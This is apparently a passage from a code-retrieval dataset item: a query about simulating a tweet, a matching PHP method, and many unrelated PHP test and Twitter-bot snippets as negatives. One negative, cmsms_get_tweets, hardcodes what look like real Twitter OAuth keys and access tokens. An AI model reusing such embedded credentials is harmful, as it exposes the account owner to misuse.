$this->assertContains( $meta, $response->getData( true ) );\n }", "public function testDispatchErrorNoController()\n {\n $this->expectException(ResourceNotFoundException::class);\n\n $this->uut->dispatch($this->buildRequest('/unknown-controller'));\n }", "public function testCreateUnauthorized()\n {\n $model = $this->makeFactory();\n\n $this->json('POST', static::ROUTE, $model->toArray(), [])\n ->seeStatusCode(JsonResponse::HTTP_UNAUTHORIZED);\n }", "public function testAssertResponseNotEqualsVerbose(): void\n {\n $this->expectException(AssertionFailedError::class);\n $this->expectExceptionMessage('Possibly related to `Cake\\Routing\\Exception\\MissingRouteException`: \"A route matching `/notfound` could not be found.\"');\n $this->get('/notfound');\n $this->_response = $this->_response->withStringBody('body');\n $this->assertResponseNotEquals('body');\n }", "public function callbackFail()\n {\n $this->di->get(\"response\")->redirect(\"user\")->send();\n }", "public function testLoginFailure()\n {\n $mock = new MockHandler([\n new Response(400, [], '{\"error\": \"login failure\"}'),\n ]);\n\n $handler = HandlerStack::create($mock);\n $this->app->instance(Client::class, new Client(['handler' => $handler]));\n\n //login\n $this->post('api/user/login', ['email' => '[email protected]', 'password' => 'password'], $this->headers)\n ->assertStatus(400)\n ->assertSeeText('login failure');\n\n }", "public function testCreateFormFail(): void\n {\n $this->post(route('form.store'), [])\n ->assertStatus(400)\n ->assertJson([\n 'success' => false,\n 'message' => __('messages.validation_failed'),\n 'data' => true\n ]);\n }", "public function testRoomDoesNotExistUnauthorized()\n {\n $response = $this->get('/rooms/1');\n\n // Redirect is expected since we're not logged in\n $response->assertStatus(302);\n $response->assertRedirect('/login');\n }", "public function testSearchApiInvalid(): void\n {\n $response = $this->getJson('/api/search/stats');\n $response->assertStatus(422);\n }", "public function testSendError()\n {\n $this->setMockHttpResponse('AuthorizeRequestError.txt');\n\n $this->request->setUserName($this->userName);\n $this->request->setPassword($this->password);\n /** @var AuthorizeResponse $response */\n $response = $this->request->send();\n\n $this->assertFalse($response->isSuccessful());\n $this->assertFalse($response->isRedirect());\n $this->assertEquals($response->getCode(), 1);\n $this->assertEquals($response->getMessage(), 'Заказ с таким номером уже обработан');\n $this->assertNull($response->getTransactionId());\n }", "function testInvalidGet() {\n $this->get('/something/def');\n $this->assertEqual(api_response::getInstance()->getCode(), 404);\n $this->assertText('/error/code', '100');\n $this->assertText('/error/msg', 'Bucket not defined: something');\n }", "public function testInvalidLogin()\n {\n $response = $this->post('admin', [\n 'email' => '[email protected]',\n 'password' => 'pass',\n ], [\n 'HTTP_REFERER' => url('admin'), // So it redirects back to self\n ]);\n\n // Check that user is redirected back to login but there are errors\n $response->assertRedirect('admin');\n $response->assertSessionHasErrors();\n }", "public function test_token_invalid() {\n\t\t$this->uri->rsegments[3] = 'b';\n\t\tset_valid_authorization();\n\t\t$out = run_action($this->c, 'token');\n\n\t\t$json = json_decode($out, true);\n\n\t\t$this->assertTrue($json['error']);\n\t\t$this->assertFalse(array_key_exists('opportunity', $json));\n\t\t$this->assertFalse(array_key_exists('opportunities', $json));\n\t}", "public function testAssertNoRedirect(): void\n {\n $this->_response = new Response();\n\n $this->assertNoRedirect();\n }", "protected function failure()\n {\n $this->response = $this->response->withStatus(400);\n $this->jsonBody($this->payload->getInput());\n }", "public function testIndexAction()\n {\n $request = $this->di->get(\"request\");\n $request->setServer(\"REMOTE_ADDR\", \"127.0.0.1\");\n $res = $this->controller->indexAction();\n $this->assertIsArray($res);\n\n $json = $res[0];\n $this->assertEquals(\"Oops, platsinformation saknas\", $json[\"err\"]);\n }", "public function testWrongUser(){\n Session::flush();\n $user = $this->postuser(array('username'=>'XxX','password'=>'XxX'));\n $status_message = $this->getJsonResponse();\n $this->assertResponseStatus('401');\n $this->assertTrue($status_message['message'] == 'login refused');\n }", "public function test_add_viewed_without_auth_should_failed()\n {\n $movie = Movie::first();\n \n $this->put( route('v1.movie.viewed', ['id' => $movie->id ] ) );\n\n $this->response->assertJson([\n 'error' => 'Unauthorized'\n ])->assertStatus(401);\n\n }", "public function testSendError()\n {\n $this->setMockHttpResponse('RefundRequestError.txt');\n\n /** @var RefundResponse $response */\n $response = $this->request->send();\n\n $this->assertFalse($response->isSuccessful());\n $this->assertEquals($response->getCode(), 133);\n $this->assertEquals($response->getMessage(), 'Incorrect order state for specified operation');\n }", "public function testIndexActionPostBadIp()\n {\n $request = $this->di->get(\"request\");\n $request->setPost(\"ip\", \"8.8.8.8.8\");\n // var_dump($request);\n\n $res = $this->controller->indexActionPost();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertContains(\"is not a valid IP\", $body);\n }", "public function throwErrorAction() {\n $message = $this->getRequestParam(\"message\", null);\n if (($error_code = $this->getRequestParam(\"error_code\")) && !empty($error_code)) {\n if (!empty($message))\n $this->respondWithValidationError($error_code, $message);\n else\n $this->respondWithError($error_code);\n }\n\n return;\n }", "public function testLoginFail()\n {\n $this->createAdmin();\n\n $response = $this->post(\n route('login'),\n [\n 'email' => $this->admin_data['email'],\n 'password' => '123'\n ]\n );\n $response->assertStatus(Response::HTTP_UNAUTHORIZED);\n\n $response = $this->post(\n route('login'),\n [\n 'email' => '[email protected]',\n 'password' => '123456'\n ]\n );\n $response->assertStatus(Response::HTTP_UNAUTHORIZED);\n }", "public function testGetSingleFormFail(): void\n {\n $this->get(route('form.show', $this->fakeFormId))\n ->assertStatus(404)\n ->assertJson([\n 'success' => false,\n 'message' => __('messages.missing_record', ['model' => Form::$name, 'id' => $this->fakeFormId]),\n ]);\n }", "public function testApiError()\n {\n $this->client->shouldReceive('send')->once()->andReturn(\n new Response(200, [], file_get_contents(__DIR__ . '/../Fixtures/access-denied.json'))\n );\n\n $this->expectException(PushwooshException::class);\n $this->expectExceptionMessage('Access denied or application not found');\n\n $this->pushwoosh->createMessage(\n new PushwooshPendingMessage($this->pushwoosh)\n );\n }", "public function testGetListFailure() \n { \n $failingUserId = \"-1\";\n $request = $this->newRequest('/todo/getlist/'.$failingUserId);\n $response = $this->responseFromRun(); \n\n // no headers?\n // [\"reasonPhrase\":\"Zend\\Diactoros\\Response\":private]= string(9) \"Not Found\"\n $this->assertRelayResponse($response, 404, [], \"\");\n }", "public function testNoAuth() : void\n {\n $response = $this->get(action('HomeController@index'));\n\n $response->assertStatus(200);\n }", "public function testProcessLoginFailed(){\n\n Sentinel::disableCheckpoints();\n\n $credentials = [\n 'email' => '[email protected]',\n 'password' => 'passwords',\n ];\n\n $response = $this->post(route('login.action', $credentials));\n\n $response->assertSessionHas('failed');\n $response->assertRedirect(route('login.form'));\n }", "public function testIndexActionGetNoIp()\n {\n $request = $this->di->get(\"request\");\n $request->setGet(\"ip\", \"\");\n\n\n $res = $this->controller->indexActionGet();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertNotContains(\"is not a valid IP\", $body);\n }", "public function testVerifyCreateError()\n {\n $response = $this->withHeaders([\n 'X-Header' => 'Value',\n ])->post('/login', [\n 'name' => 'admin',\n 'password' => 'wrong'\n ]);\n\n $response->assertSessionHasErrors();\n $response->assertStatus(302);\n $response->assertSee('Redirect');\n $response->assertRedirect('/');\n }", "public function testPostSecuredFormFailure(): void\n {\n $data = [\n 'title' => 'Some title',\n 'body' => 'Some text',\n ];\n $this->post('/posts/securePost', $data);\n $this->assertResponseError();\n }", "public function testError()\n {\n $error = $this->response->error(404, 'File Not Found');\n json_decode($error);\n $checkJson = (json_last_error() == JSON_ERROR_NONE);\n\n $this->assertTrue($checkJson);\n }", "public function test_tag_guess_cant_access()\n {\n $response = $this->get(route('admin.tags.index'));\n\n $response->assertStatus(302);\n }", "public function testNotAuthenticated()\n {\n $response = $this->get('/api/v1/contacts');\n\n $response->assertStatus(302);\n\n $response = $this->get('/api/v1/contacts/1');\n\n $response->assertStatus(302);\n\n $response = $this->get('/api/v1/contacts/search/asdad');\n\n $response->assertStatus(302);\n }", "public function test_bad_index_route()\n {\n //incorrect uri\n $response = $this->get('api/students/1234');\n $response->assertStatus(404);\n }", "public function testSendError()\n {\n $this->setMockHttpResponse('JsonPurchaseResponseError.txt');\n $response = $this->request->send();\n\n $data = $this->request->getData();\n\n $code = $response->response->getStatusCode();\n $this->assertFalse($response->isSuccessful());\n $this->assertEquals(500, $data['amount']);\n $this->assertEquals(400, $code);\n $this->assertSame('BAD_REQUEST', $response->getCode());\n $this->assertSame(\"This card is not accepted for Test transactions\", $response->getMessage());\n $this->assertNull($response->getTransactionReference());\n $this->assertNull($response->getCardReference());\n }", "public function testUserCanNotLogin()\n {\n $data = [\n 'email' => 'invalid_email',\n 'password' => 'pass'\n ];\n $response = $this->postJson('/api/login', $data);\n\n $response\n ->assertStatus(200)\n ->assertJson([\n 'success' => false\n ]);\n }", "public function testAssertRedirectNotContains(): void\n {\n $this->_response = new Response();\n $this->_response = $this->_response->withHeader('Location', 'http://localhost/tasks/index');\n $this->assertRedirectNotContains('test');\n }", "public function testNotFoundEmployee()\n {\n $this->get('/api/employee/1');\n $this->assertEquals(\n '{\"message\":\"Not Found\"}',\n $this->response->getContent()\n );\n $this->assertEquals(\n Response::HTTP_NOT_FOUND,\n $this->response->getStatusCode()\n );\n }", "public function unauthorizedAction()\n {\n $this->view->errorMsg =\n 'Sorry, you are not authorized for this action.';\n }", "private function assertError($response)\n {\n $response->assertStatus(500)\n ->assertJson([\n 'status' => 'error'\n ]);\n }", "public function testEnterIncorrectData()\n {\n $user = User::factory()->create();\n \n $response = $this->call('POST', '/admin/signin', [\n 'email' => '',\n 'password' => '',\n '_token' => csrf_token()\n ]);\n \n $this->assertNotEquals(200, $response->getStatusCode());\n\n $response = $this->call('POST', '/admin/signin', [\n 'email' => '[email protected]',\n 'password' => '123',\n '_token' => csrf_token()\n ]);\n $this->assertEquals(422, $response->decodeResponseJson()['status']);\n\n }", "public function testShowNotFound(): void\n {\n $response = $this->json('GET', '/api/menus/10000');\n\n $response->assertStatus(404);\n }", "public function testIndexActionPostNoIp()\n {\n $request = $this->di->get(\"request\");\n $request->setPost(\"ip\", \"\");\n\n\n $res = $this->controller->indexActionPost();\n\n $body = $res->getBody();\n\n // var_dump($body);\n $this->assertInstanceOf(\"Anax\\Response\\ResponseUtility\", $res);\n $this->assertNotContains(\"is not a valid IP\", $body);\n }", "public function testDispatchErrorRouteAction()\n {\n $this->expectException(IncompleteRouteException::class);\n\n $this->uut->dispatch($this->buildRequest('/missing-action'));\n }", "public function testAssertResponseNotRegExpNoResponse(): void\n {\n $this->expectException(AssertionFailedError::class);\n $this->expectExceptionMessage('No response set');\n $this->assertResponseNotRegExp('/cont/');\n }", "public function test_err404_2()\n {\n $this->request('GET', ['pages/test', 'index']);\n $this->assertResponseCode(404);\n }", "public function assertNotAction($action, $message = '') {\r\n\t\t$this->_incrementAssertionCount();\r\n\t\t$selectedAction = $this->_serviceManager->getState()->getRoute()->getAction();\n\t\tif ($action == $selectedAction) {\r\n\t\t\t$msg = sprintf('Failed asserting last action used <\"%s\"> was NOT \"%s\"', $selectedAction, $action);\r\n\t\t\tif (!empty($message)) {\r\n\t\t\t\t$msg = $message . \"\\n\" . $msg;\r\n\t\t\t}\r\n\t\t\t$this->fail($msg);\r\n\t\t}\r\n\t}", "public function testCantLoginWithInvalidCredentials()\n {\n // arrange \n $user = User::factory()->create();\n\n // act\n $response = $this->post(\"/login\", [\n \"email\" => $user->email,\n \"password\" => \"invalidpassword\"\n ]);\n\n // assert\n $response->assertStatus(302);\n $response->assertSessionHas(\"errors\");\n\n $messages = session(\"errors\")->getMessages();\n $this->assertEquals($messages[\"email\"][0], \"These credentials do not match our records.\");\n // dd($messages);\n }", "public function testGuestCantCreateTask()\n {\n $response = $this->get(route('tasks.create'));\n $response->assertRedirect('login');\n }", "public function testDoesNotThrowOnSuccess(): void\n {\n /** @noinspection UnnecessaryAssertionInspection */\n /** @noinspection PhpVoidFunctionResultUsedInspection */\n /** @noinspection PhpUnhandledExceptionInspection */\n $this->assertNull(ApiErrorHandler::check(['success' => true], 200));\n }", "public function testNotLoggedInRedirect()\n {\n $response = $this->get($this->getSuccessUrl());\n\n $response->assertRedirect($this->getLoginUrl());\n }", "public function testguests_users_can_not_create_statuses()\n {\n\n $response = $this->post(route('statuses.store'), ['body' => 'Mi primer status']);\n\n\n $response->assertRedirect('login');\n\n }", "public function testLeaseRequestViewNoAuthencation()\n {\n $this->get(route('lease.request'))->assertStatus(200);\n }", "public function testIndexActionIpNoLocation()\n {\n $request = $this->di->get(\"request\");\n $request->setGet(\"ip\", \"::1\");\n $res = $this->controller->indexAction();\n $this->assertIsArray($res);\n\n $json = $res[0];\n $this->assertEquals(\"Oops, platsinformation saknas\", $json[\"err\"]);\n }", "public function testIndexFailNotAdmin()\n {\n $this->setUserSession();\n $this->get($this->indexUrl);\n $this->assertRedirect('/');\n }", "public function testPostAndErrorHandling(): void\n {\n $this->post('/request_action/error_method');\n $this->assertResponseNotEmpty();\n $this->assertResponseContains('Not there or here');\n $this->assertResponseContains('<!DOCTYPE html>');\n }", "public function testUnauthorized()\n {\n factory(User::class)->create(); \n $response = $this->json('GET', '/api/users/posts');\n $response->assertStatus(Response::HTTP_UNAUTHORIZED);\n }", "public function test_error_on_missed_captcha()\n {\n $response = $this->post('/proposal/store', [\n 'name' => 'Test Name',\n 'title' => 'Test Title'.mt_rand(1, 10000),\n 'description' => 'Test Description',\n ]);\n\n $response->assertStatus(302);\n $response->assertSessionHas('error', 'Captcha code is empty!');\n }", "public function testAssertNoRedirectVerbose(): void\n {\n $this->expectException(AssertionFailedError::class);\n $this->expectExceptionMessage('Possibly related to `Cake\\Routing\\Exception\\MissingRouteException`: \"A route matching `/notfound` could not be found.\"');\n $this->get('/notfound');\n $this->_response = $this->_response->withHeader('Location', '/redirect');\n $this->assertNoRedirect();\n }", "public function testCheckFail()\n\t{\n\t\t$response = $this->createMock(RequestInterface::class);\n\t\t$response->method('getQuery')->willReturn($this->jwt);\n\n\t\t$auth = new Auth;\n\n\t\tJWT::$timestamp = strtotime('+1 week');\n\n\t\t$this->assertTrue( !$auth->check(new QueryStr($response), $this->secretKey) );\n\n\t\t$expected_errors = ['Expired token'];\n\n\t\t$this->assertEquals($expected_errors, $auth->getMessages());\n\t}", "public function testNotFound()\n {\n $response = $this->get('/api/get-info');\n\n $response->assertStatus(404);\n }", "public function assertResponseOk()\n {\n $this->assertResponseStatusCode(200);\n }", "public function testNoErrorIsReturnedIfTwoFactorIsNotEnabled()\n {\n Carbon::setTestNow(Carbon::now());\n\n /** @var \\Pterodactyl\\Models\\User $user */\n $user = User::factory()->create(['use_totp' => false]);\n\n $response = $this->actingAs($user)->deleteJson('/api/client/account/two-factor', [\n 'password' => 'password',\n ]);\n\n $response->assertStatus(Response::HTTP_NO_CONTENT);\n }", "function test_treatments_unauthorized_true()\n {\n $this->seed();\n\n $response = $this->json('GET', '/api/treatments/1');\n $response->assertUnauthorized();\n }", "public function testIndexFailNotLoggedIn()\n {\n $this->get($this->indexUrl);\n $this->assertRedirectContains(Router::url([\n 'prefix' => false,\n 'controller' => 'Users',\n 'action' => 'login'\n ]));\n }", "public function testNotAuthenticated()\n {\n $response = $this->get('/api/auth/me');\n $response->assertStatus(302);\n\n $response = $this->followingRedirects()->get('/api/auth/me');\n $response->assertStatus(401);\n }", "public function test_teams_index_authenticated_user_returns_403(){\n $this->signInUser();\n $response = $this->get(route('teams.index'));\n $response->assertStatus(403); }", "public function test_individual_item_does_not_exist()\n {\n $response = $this->get(\"/item-detail/12\");\n $response->assertSeeText('Sorry! the item you are looking for does not exist');\n }", "public function checkValidResponse()\n {\n // do nothing if validation is disabled or request method not set\n if ( ! $this->options['validate'] || empty( $this->method ) ) return;\n\n $this->expected = $this->expectByMethod( $this->method );\n\n if ( $this->check( $this->getStatusCode(), $this->expected ) ) return;\n\n $exception = new ResponseException( \"The request was not successful! Response message was: '{$this->response}'\", $this->getStatusCode() );\n\n $exception->setExpectedStatusCode( $this->expected );\n\n throw $exception;\n }" ]
[ "0.74453276", "0.7327308", "0.7276924", "0.7061324", "0.69830847", "0.6898439", "0.68514746", "0.67127335", "0.6708525", "0.66874313", "0.66752297", "0.66735065", "0.6664252", "0.6590519", "0.6581912", "0.6568292", "0.65301496", "0.65275514", "0.64815146", "0.6478053", "0.6460597", "0.6457938", "0.6435124", "0.6432833", "0.6419062", "0.6414927", "0.6408599", "0.64010423", "0.63997495", "0.63953", "0.63767743", "0.63636684", "0.6355216", "0.6351617", "0.6330052", "0.63241524", "0.63081634", "0.62979877", "0.6294432", "0.6293743", "0.6292905", "0.629124", "0.6288653", "0.62539405", "0.6253327", "0.6252468", "0.6243947", "0.6243884", "0.62384826", "0.6226138", "0.6217478", "0.6213924", "0.6203315", "0.6184876", "0.6173265", "0.61718035", "0.6160567", "0.61600506", "0.6158053", "0.6139332", "0.61354166", "0.6132377", "0.6118079", "0.61154044", "0.6112415", "0.6111806", "0.6111172", "0.61048967", "0.6092592", "0.608951", "0.6087799", "0.6081489", "0.60812986", "0.60626996", "0.6049561", "0.60490185", "0.6044657", "0.60406774", "0.6029083", "0.6025526", "0.60217637", "0.6017113", "0.6013935", "0.60123813", "0.60095215", "0.60094523", "0.60033154", "0.5995179", "0.59901685", "0.5987444", "0.5984413", "0.59821945", "0.59793216", "0.59757584", "0.597567", "0.59754395", "0.59713286", "0.59692895", "0.5965241", "0.59558564", "0.59505886" ]
0.0
-1
Build a simulating tweet to see if it can be posted lately
private function simulateTweet() { return [ 'message' => request('custom_message'), 'link' => request('custom_link'), ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function tweet() {\r\n\t\tif ($this->feed->tweet != 1 || $this->tweeted == 1) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t$this->save();\r\n\t\t$url = 'http://'.$_SERVER['HTTP_HOST'].$this->get_url();\t\r\n\t\t$tweet = text::limit_chars($this->feed->tweet_desc.' '.$this->title,118,'...',TRUE).' '.$url;\r\n\t\tzest::update_status($tweet);\r\n\t\t$this->tweeted = 1;\r\n\t\t$this->save();\r\n\t}", "function check_twitter_blog_posts()\r\n\t{\r\n\t\t// Only search for tweets if turned on\r\n\t\tif($this->create_blog_post == 'on' )\r\n\t\t{\r\n\t\t\t// Counts the number of posts that were created\r\n\t\t\t$posts_created = 0;\r\n\r\n\t\t\t// Checks to see if a \"Twitter\" category is already created\r\n\t\t\t$twitter_cat_id = get_cat_ID( 'Twitter' );\r\n\t\t\tif( $twitter_cat_id == 0)\r\n\t\t\t\t// Creates the Category\r\n\t\t\t\t$twitter_cat_id = wp_create_category( 'Twitter' );\r\n\r\n\t\t\t// Default user_timeline options\r\n\t\t\t$timeline_params = array(\r\n\t\t\t\t'count' => 200\r\n\t\t\t);\r\n\r\n\t\t\t// Will reduce the amount of tweets that were grabbed to save on API calls\r\n\t\t\t$last_tweet_blog_post_checked_id = get_option( 'tb_last_tweet_blog_post_checked' );\r\n\r\n\t\t\t// Set since_id?\r\n\t\t\tif ($last_tweet_blog_post_checked_id) $timeline_params += array('since_id' => $last_tweet_blog_post_checked_id);\r\n\r\n\t\t\t$json = $this->twitter_con->get( 'statuses/user_timeline', $timeline_params );\r\n\r\n\t\t\tif(isset($json->error))\r\n\t\t\t{\r\n\t\t\t\techo('<p class=\"error\">' . $json->error . '</p>');\r\n\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\tforeach($json as $tweet)\r\n\t\t\t{\r\n\t\t\t\t// Checks to see if the current Tweet ID is higher than the current stored. Used to save on API calls.\r\n\t\t\t\tif($tweet->id_str > $last_tweet_blog_post_checked_id) {\r\n\t\t\t\t\tupdate_option( 'tb_last_tweet_blog_post_checked', $tweet->id_str);\r\n\t\t\t\t\t$last_tweet_blog_post_checked_id = $tweet->id_str;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t// Skip the tweet if it doesn't have the hashtag\r\n\t\t\t\tif( !substr_count( $tweet->text, '#' . $this->create_blog_post_hashtag ) )\r\n\t\t\t\t\tcontinue;\r\n\r\n\t\t\t\t// Checks to see if the tweet has already been converted\r\n\t\t\t\t$checked_tweet_id_list = get_option( 'tb_created_blog_post_twitter_ids' );\r\n\t\t\t\tif( in_array( $tweet->id_str, explode( ',', $checked_tweet_id_list ) ) )\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\telse\r\n\t\t\t\t\tupdate_option( 'tb_created_blog_post_twitter_ids', $checked_tweet_id_list . ',' . $tweet->id_str);\r\n\r\n\t\t\t\t// Strips out the hashtag out of the tweet\r\n\t\t\t\t$tweet_text = str_replace( '#' . $this->create_blog_post_hashtag, '', $tweet->text );\r\n\r\n\t\t\t\t// Posts the Tweet\r\n\t\t\t\t$my_post = array();\r\n\t\t\t\t$my_post['post_title'] = 'Twitter: ' . $tweet_text;\r\n\t\t\t\t$my_post['post_content'] = '<p><img src=\"' . $tweet->user->profile_image_url . '\" class=\"alignleft\" /><a href=\"http://twitter.com/' . $tweet->user->screen_name . '\"><strong>' . $tweet->user->screen_name . '</strong></a> ' . $tweet_text . '</p><p>[<a href=\"http://twitter.com/' . $tweet->user->screen_name . '/status/' . $tweet->id_str . '\">Source</a>]' ;\r\n\t\t\t\t$my_post['post_status'] = 'publish';\r\n\t\t\t\t$my_post['post_author'] = 1;\r\n\t\t\t\t$my_post['post_category'] = array($twitter_cat_id);\r\n\r\n\t\t\t\t// Do not tweet this post on publish\r\n\t\t\t\t$this->tweet_post = false;\r\n\r\n\t\t\t\t// Insert the post into the database\r\n\t\t\t\t$post_id = wp_insert_post( $my_post );\r\n\r\n\t\t\t\t// Reset it back to true\r\n\t\t\t\t$this->tweet_post = true;\r\n\r\n\t\t\t\t$this->update_post_twitter_id($post_id, $tweet->id_str);\r\n\r\n\t\t\t\t$posts_created++;\r\n\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $posts_created;\r\n\t}", "public function hasTwitter(): bool;", "private function sendTweet($maker, $tweet_text) {\n $cfg = Config::getInstance();\n $oauth_consumer_key = $cfg->getValue('twitter_oauth_notifier_consumer_key');\n $oauth_consumer_secret = $cfg->getValue('twitter_oauth_notifier_consumer_secret');\n $oauth_token = $cfg->getValue('twitter_oauth_notifier_access_token');\n $oauth_token_secret = $cfg->getValue('twitter_oauth_notifier_access_token_secret');\n\n //Only attempt the tweet if these are set - and they are not set on dev\n if (isset($oauth_consumer_key) && isset($oauth_consumer_secret) ) {\n $twitter_oauth = new TwitterOAuth($oauth_consumer_key, $oauth_consumer_secret, $oauth_token,\n $oauth_token_secret);\n\n $api_accessor = new TwitterAPIAccessor();\n // Tweet the tweet\n $results = $api_accessor->postTweet($tweet_text, $twitter_oauth);\n if ($results[0] == 200) {\n $sent_tweet_dao = new SentTweetMySQLDAO();\n $sent_tweet_dao->insert($maker->autofill_network_id, $maker->autofill_network_username);\n return true;\n } else { //API returned a non-200 code, tweet wasn't sent\n return false;\n }\n } else { //No Twitter credentials set in the config\n return false;\n }\n }", "private function shouldTweet(Maker $maker) {\n if (isset($maker->autofill_network_id) && isset($maker->autofill_network)\n && $maker->autofill_network === 'twitter' /* Have Twitter info for maker */\n /* Maker is different than user */\n && $maker->autofill_network_id !== $this->logged_in_user->twitter_user_id ) {\n $sent_tweet_dao = new SentTweetMySQLDAO();\n //If a tweet hasn't been sent to this person, then send one\n return (!$sent_tweet_dao->hasBeenSent($maker->autofill_network_id));\n } else { //No Twitter info for maker\n return false;\n }\n }", "function tp_publish_automatic($id, $post) {\r\n\tif ($post->post_status !== 'publish') return;\r\n\r\n\t// check options to see if we need to send to FB at all\r\n\t$options = tp_options();\r\n\tif (!$options['autotweet_flag'] || !$options['autotweet_token'] || !$options['autotweet_secret'] || !$options['publish_text'])\r\n\t\treturn;\r\n\r\n\t// args to send to twitter\r\n\t$args=array();\r\n\r\n\t$args['status'] = tp_get_default_tweet($id);\r\n\r\n\t$args['acc_token'] = $options['autotweet_token'];\r\n\t$args['acc_secret'] = $options['autotweet_secret'];\r\n\r\n\t$resp = tp_do_request('statuses/update',$args, 'post');\r\n\r\n return $resp;\r\n}", "function is_good_tweet($tweet_text) {\n\t\t$subject = $tweet_text;\n\t\t$good_pattern = '/good|best|great|happy|cool|awesome|sweet/';\n\t\t\n\t\tif(preg_match($good_pattern, $subject)) return true;\n\t\telse return false;\n\t}", "public function testTweet()\n\t{\n\t\t$status = 'This is a status';\n\t\t$in_reply_to_status_id = 1336421235;\n\t\t$lat = 42.53;\n\t\t$long = 45.21;\n\t\t$place_id = '23455ER235V';\n\t\t$display_coordinates = true;\n\t\t$trim_user = true;\n\n\t\t$returnData = new stdClass;\n\t\t$returnData->code = 200;\n\t\t$returnData->body = $this->sampleString;\n\n\t\t// Set POST request parameters.\n\t\t$data = array();\n\t\t$data['status'] = utf8_encode($status);\n\t\t$data['in_reply_to_status_id'] = $in_reply_to_status_id;\n\t\t$data['lat'] = $lat;\n\t\t$data['long'] = $long;\n\t\t$data['place_id'] = $place_id;\n\t\t$data['display_coordinates'] = $display_coordinates;\n\t\t$data['trim_user'] = $trim_user;\n\n\t\t$this->client->expects($this->once())\n\t\t\t->method('post')\n\t\t\t->with('/statuses/update.json', $data)\n\t\t\t->will($this->returnValue($returnData));\n\n\t\t$this->assertThat(\n\t\t$this->object->tweet($status, $in_reply_to_status_id, $lat, $long, $place_id, $display_coordinates, $trim_user),\n\t\t$this->equalTo(json_decode($this->sampleString))\n\t\t);\n\t}", "public static function statusUpdate(Bot $bot)\n {\n // Setting OAuth parameters\n self::setOAuth($bot);\n\n $random = rand(0, 8);\n switch ($random) {\n\n // Retweet from the database\n case 0:\n\n if ($tweet = Tweet::getNext($bot)) {\n \\Log::info('[' . $bot->screen_name . '] Retweeting and liking from the DB : ' . html_entity_decode($tweet->text));\n\n try {\n \\Twitter::postRt($tweet->id);\n \\Twitter::postFavorite(['id' => $tweet->id]);\n Tweet::flagRetweeted($tweet->id);\n Bot::isFine($bot);\n } catch (\\Exception $e) {\n \\Log::error('[' . $bot->screen_name . '] Retweeting and liking from the DB : ' . $e->getMessage());\n Bot::addError($bot);\n\n // Try again\n self::statusUpdate($bot);\n }\n }\n\n break;\n\n // Tweeting original content\n case 1:\n case 2:\n case 3:\n case 4:\n\n $tweets = self::getRandomTweets($bot);\n $tweet = $tweets[(rand(0, 10))];\n\n \\Log::info('[' . $bot->screen_name . '] Tweeting something interesting : ' . html_entity_decode($tweet['text']));\n self::runRequest($bot, 'postTweet', ['status' => html_entity_decode($tweet['text'])]);\n\n break;\n\n // Retweeting\n case 5:\n case 6:\n case 7:\n case 8:\n\n $tweets = self::getRandomTweets($bot);\n $tweet = $tweets[(rand(0, 10))];\n\n \\Log::info('[' . $bot->screen_name . '] Retweeting and liking something interesting : ' . html_entity_decode($tweet['text']));\n\n try {\n \\Twitter::postRt($tweet['id']);\n \\Twitter::postFavorite(['id' => $tweet['id']]);\n Bot::isFine($bot);\n } catch (\\Exception $e) {\n \\Log::error('[' . $bot->screen_name . '] Retweeting and liking something interesting : ' . $e->getMessage());\n Bot::addError($bot);\n\n // Try again\n self::statusUpdate($bot);\n }\n\n break;\n }\n }", "function printTweets($username,$count) {\n\t$last_time = Plugin::getSetting(\"last_update\",\"twitter_oauth\");\n\t$curr_time = time();\n\tif($curr_time - $last_time > 60) { /* Poor man's cron alternative */\n\t\tgetTweets($username,$count);\n\t}\n\tdisplayTweets();\n}", "public static function hasTwitterSupport()\n {\n return static::enabled(static::twitter());\n }", "static function checkTweetMessage($message) {\n if(strlen($message) <= 140) {\n return true;\n }\n return false;\n }", "public function tweet($tweet, $options = []);", "function tweet_story($id,$title,$msg) {\n\t\n\t// build the URL for the story\n\t$url = 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . '?id=' . $id;\n\t\n\t// get length of string for message and URL (includes space in between)\n\t$cnt = strlen($url) + strlen($msg) + 1;\n\t\n\t// chars available for title\n\t$whats_left = 140-$cnt;\n\t\n\tif (strlen($title) < $whats_left) {\n\t\t// We have enough room for the full title, return the encoded part of the twitter\n\t\t// status message\n\t\treturn urlencode($msg . ' ' . $title . ' ') . $url . urlencode(' #5cardflickr');\n\t\t\n\t} else {\n\t\t// shorten the title\n\t\treturn urlencode($msg . ' ' . substr($title, 0 , $whats_left-3) . '... ') . $url . urlencode(' #5cardflickr');\n\t}\n\n}", "function cmsms_get_tweets($username, $count) {\n\trequire_once locate_template('/framework/class/twitteroauth.php');\n\t\n\t$excludeReplies = 1;\n\t$name = $username;\n\t$numTweets = $count;\n\t$cacheTime = 1;\n\t$backupName = 'cmsms_' . CMSMS_SHORTNAME . '_bottom_tweets_list_backup';\n\t\n\t\n\t$connection = new TwitterOAuth( \n\t\t'm7mik6kTVHPfr35nQ1hh9Q', \n\t\t'DFV7oCXmohk2KKSJ0RXZqGB7Xo0jCdcMYTlLoPSOY', \n\t\t'1420686793-YvdSkPPk9lb9mzYrhsWyISIXKhfnxOQNWfrTvrT', \n\t\t'dhgmZ5fQU5nvi4nzmpjwngV1wD6FgF7aqpCHJqQHAE' \n\t);\n\t\n\t\n\t$totalToFetch = ($excludeReplies) ? max(50, $numTweets * 3) : $numTweets;\n\t\n\t\n\t$fetchedTweets = $connection->get( \n\t\t'https://api.twitter.com/1.1/statuses/user_timeline.json', \n\t\tarray( \n\t\t\t'screen_name' => $name, \n\t\t\t'count' => $totalToFetch,\n\t\t\t'exclude_replies' => true \n\t\t) \n\t);\n\t\n\t\n\tif ($connection->http_code != 200) {\n\t\t$tweets = get_option($backupName);\n\t} else {\n\t\t$limitToDisplay = min($numTweets, count($fetchedTweets));\n\t\t\n\t\t\n\t\tfor ($i = 0; $i < $limitToDisplay; 